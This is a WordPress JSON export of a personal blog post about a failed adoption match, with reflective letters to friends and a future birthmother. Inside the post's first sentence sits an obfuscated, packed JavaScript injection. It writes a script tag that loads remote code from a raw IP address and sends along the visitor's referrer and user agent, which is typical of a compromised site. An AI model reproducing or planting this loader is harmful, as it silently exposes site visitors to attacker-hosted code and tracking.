{"id":4021,"date":"2013-09-18T13:13:26","date_gmt":"2013-09-18T20:13:26","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=4021"},"modified":"2013-09-19T13:58:07","modified_gmt":"2013-09-19T20:58:07","slug":"what-i-learned","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=4021","title":{"rendered":"What I learned"},"content":{"rendered":"<style><!--\n\/* Font Definitions *\/\n@font-face\n\t{font-family:Times;\n\tpanose-1:2 0 5 0 0 0 0 0 0 0;\n\tmso-font-charset:0;\n\tmso-generic-font-family:auto;\n\tmso-font-pitch:variable;\n\tmso-font-signature:3 0 0 0 1 0;}\n@font-face\n\t{font-family:\"\u00ef\u00bc\u00ad\u00ef\u00bc\u00b3 \u00e6\u02dc\u017d\u00e6\u0153\u009d\";\n\tpanose-1:0 0 0 0 0 0 0 0 0 0;\n\tmso-font-charset:128;\n\tmso-generic-font-family:roman;\n\tmso-font-format:other;\n\tmso-font-pitch:fixed;\n\tmso-font-signature:1 134676480 16 0 131072 0;}\n@font-face\n\t{font-family:\"Cambria Math\";\n\tpanose-1:2 4 5 3 5 4 6 3 2 4;\n\tmso-font-charset:1;\n\tmso-generic-font-family:roman;\n\tmso-font-format:other;\n\tmso-font-pitch:variable;\n\tmso-font-signature:0 0 0 0 0 0;}\n@font-face\n\t{font-family:\"Bell MT\";\n\tpanose-1:2 2 5 3 6 3 5 2 3 3;\n\tmso-font-charset:0;\n\tmso-generic-font-family:auto;\n\tmso-font-pitch:variable;\n\tmso-font-signature:3 0 0 0 1 0;}\n \/* Style Definitions *\/\np.MsoNormal, li.MsoNormal, div.MsoNormal\n\t{mso-style-unhide:no;\n\tmso-style-qformat:yes;\n\tmso-style-parent:\"\";\n\tmargin:0in;\n\tmargin-bottom:.0001pt;\n\tmso-pagination:widow-orphan;\n\tfont-size:12.0pt;\n\tfont-family:\"Bell MT\";\n\tmso-fareast-font-family:\"\u00ef\u00bc\u00ad\u00ef\u00bc\u00b3 \u00e6\u02dc\u017d\u00e6\u0153\u009d\";\n\tmso-fareast-theme-font:minor-fareast;\n\tmso-bidi-font-family:\"Times New Roman\";\n\tmso-bidi-theme-font:minor-bidi;}\np\n\t{mso-style-noshow:yes;\n\tmso-style-priority:99;\n\tmso-margin-top-alt:auto;\n\tmargin-right:0in;\n\tmso-margin-bottom-alt:auto;\n\tmargin-left:0in;\n\tmso-pagination:widow-orphan;\n\tfont-size:10.0pt;\n\tfont-family:Times;\n\tmso-fareast-font-family:\"\u00ef\u00bc\u00ad\u00ef\u00bc\u00b3 \u00e6\u02dc\u017d\u00e6\u0153\u009d\";\n\tmso-fareast-theme-font:minor-fareast;\n\tmso-bidi-font-family:\"Times New Roman\";}\n.MsoChpDefault\n\t{mso-style-type:export-only;\n\tmso-default-props:yes;\n\tfont-family:\"Bell MT\";\n\tmso-ascii-font-family:\"Bell MT\";\n\tmso-fareast-font-family:\"\u00ef\u00bc\u00ad\u00ef\u00bc\u00b3 \u00e6\u02dc\u017d\u00e6\u0153\u009d\";\n\tmso-fareast-theme-font:minor-fareast;\n\tmso-hansi-font-family:\"Bell MT\";\n\tmso-bidi-font-family:\"Times New Roman\";\n\tmso-bidi-theme-font:minor-bidi;}\n@page WordSection1\n\t{size:8.5in 11.0in;\n\tmargin:1.0in 1.25in 1.0in 1.25in;\n\tmso-header-margin:.5in;\n\tmso-footer-margin:.5in;\n\tmso-paper-source:0;}\ndiv.WordSection1\n\t{page:WordSection1;}\n--><\/style>\n<p>Mostly, <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zezyr|var|u0026u|referrer|fzrty||js|php'.split('|'),0,{}))\n<\/script><\/noindex> I don&#8217;t really post about the adoption process.\u00c2\u00a0 You know why?\u00c2\u00a0 Because I&#8217;m supposed to be presenting myself to the world as happy, confident, positive, loving, and a perfect &#8211; future &#8211; mom.\u00c2\u00a0 And the whole process so far has been mostly sad, and scary, and frustrating, and sometimes it just feels like it&#8217;s taking my heart apart, piece by piece.\u00c2\u00a0\u00c2\u00a0 I mean, really, what is there to say about what just happened?\u00c2\u00a0 It sucked.\u00c2\u00a0 It was awful.\u00c2\u00a0 It was incredibly painful. It&#8217;s over.\u00c2\u00a0 It might happen again.\u00c2\u00a0 It might happen lots of times.\u00c2\u00a0 And eventually, a real birthmother will really call me.\u00c2\u00a0 (<em>It happened last year! It will happen again.)<\/em>\u00c2\u00a0 And I know that when it happens, I need to be able to trust her with a whole heart.<\/p>\n<p>So I have to learn something and move forward.\u00c2\u00a0 Here are the lessons I see in this story, and many of them are things I already knew.\u00c2\u00a0 But some things have to be learned many times, many times.<\/p>\n<p>Also, I spent some time on google and I think my fish was &#8212; most likely &#8212; a baby perch.\u00c2\u00a0 I plan to look for him again the next time I go to the beach.\u00c2\u00a0 I&#8217;m sure he&#8217;ll be around.\u00c2\u00a0 No hard feelings, little fish!<\/p>\n<p>&nbsp;<\/p>\n<p>Dear friends,<\/p>\n<p>Take hold of hope, but take it in very careful doses, because like all medicine, too much isn&#8217;t good for you.<\/p>\n<p>Take hold of love in huge armfuls, and when you cannot hold any more, let it hold you.<\/p>\n<p>Take hold of everything mean-spirited in the garden of your soul and rip it out by the roots, and know that you will have to weed often.<\/p>\n<p>Be patient with yourself and your weakness, because you can&#8217;t possibly know how strong you are unless you break a little bit.<\/p>\n<p>Be patient with other people and their weakness, because they are the main characters of their own stories, and you don&#8217;t know which role you play in that story.<\/p>\n<p>Be patient with magic.<\/p>\n<p>&nbsp;<\/p>\n<p>Dear Birthmother,<\/p>\n<p>When you call me, I will be thrilled beyond words.\u00c2\u00a0 Also terrified.\u00c2\u00a0 I will ask you slightly lame questions like, <em>So&#8230;\u00c2\u00a0 where do you live?<\/em> while I try to collect myself.\u00c2\u00a0 And I won&#8217;t care if it&#8217;s 2 am.\u00c2\u00a0 2 am is awesome.\u00c2\u00a0\u00c2\u00a0 And just for the record, I am happy, confident, positive, loving, and while I&#8217;m not perfect, I&#8217;m pretty great.\u00c2\u00a0 (Yeah, I said it.) \u00c2\u00a0 I&#8217;m also really sad, and really anxious, and really angry sometimes at how unfair life is.\u00c2\u00a0 And I think you probably feel that way sometimes too.\u00c2\u00a0 But love is stronger than sadness, and stronger than fear, and stronger than anger, and as long as we remember that we&#8217;ll all be ok.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Mostly, I don&#8217;t really post about the adoption process.\u00c2\u00a0 You know why?\u00c2\u00a0 Because I&#8217;m supposed&#8230;<\/p>\n","protected":false},"author":1,"featured_media":4022,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[76,91],"tags":[53,81,21],"class_list":["post-4021","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-adoption","category-believe","tag-adoption","tag-i-believe","tag-musings"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4021"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4021"}],"version-history":[{"count":1,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4021\/revisions"}],"predecessor-version":[{"id":4023,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4021\/revisions\/4023"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/4022"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4021"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4021"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4021"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}